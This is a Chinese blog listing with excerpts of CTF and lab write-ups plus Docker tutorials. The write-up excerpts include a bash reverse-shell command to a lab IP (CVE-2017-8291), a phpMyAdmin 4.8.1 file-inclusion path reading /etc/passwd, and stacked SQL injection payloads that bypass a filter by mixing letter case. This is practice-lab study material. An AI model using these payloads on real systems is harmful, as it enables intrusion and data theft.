- 博客(7)
- 收藏
- 关注
RSS订阅原创 PIL-CVE-2017-8291
打开靶场192.168.71.141:8000打开讲poc.png上传以 docker exec –it 7dd /bin/bash进入容器在tmp下找到poc.png反弹shellbash –c “bash –i >& /dev/tcp/192.168.71.131/8888 0>&1”Kali启动监听成功...
2022-05-06 16:44:30
1064
原创 Docker容器命令
有了镜像才可以创建容器，Linux，下载一个centos镜像来测试学习下载centos镜像docker pull centos新建容器并启动docker run [可选参数] image#参数说明--name="Name"容器名字tomcat0l tomeat02，用来区分容器-d 后台方式运行-it 使用交互方式运行，进入容器查看内容-p 指定容器的端口 -p 8080:8080-p ip:主机端口:容器端口-p 主机端口:容器端口（常用)-p容器端口.
2022-03-29 18:25:35
844
原创 docker安装
一、Docker的基本组成镜像( image ) :docker镜像就好比是一个模板，可以通过这个模板来创建容器服务，tomcat镜像===>run ==> tomcat01容器（提供服务器），通过这个镜像可以创建多个容器（最终服务运行或者项目运行就是在容器中的)。容器( container ) :Docker利用容器技术，独立运行一个或者一个组应用，通过镜像来创建的。启动，停止，删除，基本命令!目前就可以把这个容器理解为就是一个简易的linux系统仓库(reposito
2022-03-29 17:53:36
1319
原创 [GWCTF 2019]我有一个数据库
用御剑扫描得出phpmyadmin版本是4.8.1百度一下4.8.1存在远程漏洞包含https://www.cnblogs.com/leixiao-/p/10265150.html/phpmyadmin/index.php?target=db_datadict.php%253f../../../../../../etc/passwdindex.php?target=db_sql.php%253f/../../../../../../../../flag...
2021-06-29 22:11:33
148
2
原创 supersqli
普通注入 出现了正则匹配过滤主要堆叠注入+预编译-1';set @sql = CONCAT('sele','ct * from `1919810931114514`;');prepare aaa from @sql;EXECUTE aaa;#过滤了set（设置） 和 prepare(调制,准备)考虑大小写过滤1';sEt @sql = CONCAT('sele','ct * from `1919810931114514`;');prepArE aaa from @...
2021-06-24 20:39:30
77
原创 攻防世界 NaNaNaNNaN-Batman
一、下载附件1并解压后得到web100,用Sublime打开后发现是js代码改缀名 .html 不过发现最后有一函数eval() 函数可计算某个字符串，并执行其中的的 JavaScript 代码。改成 alert() 弹窗用浏览器打开复制 粘贴后function $(){var e=document.getElementById("c").value;if(e.length==16)if(e.match(/^be0f23/)!=null)...
2021-05-21 21:19:36
193
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人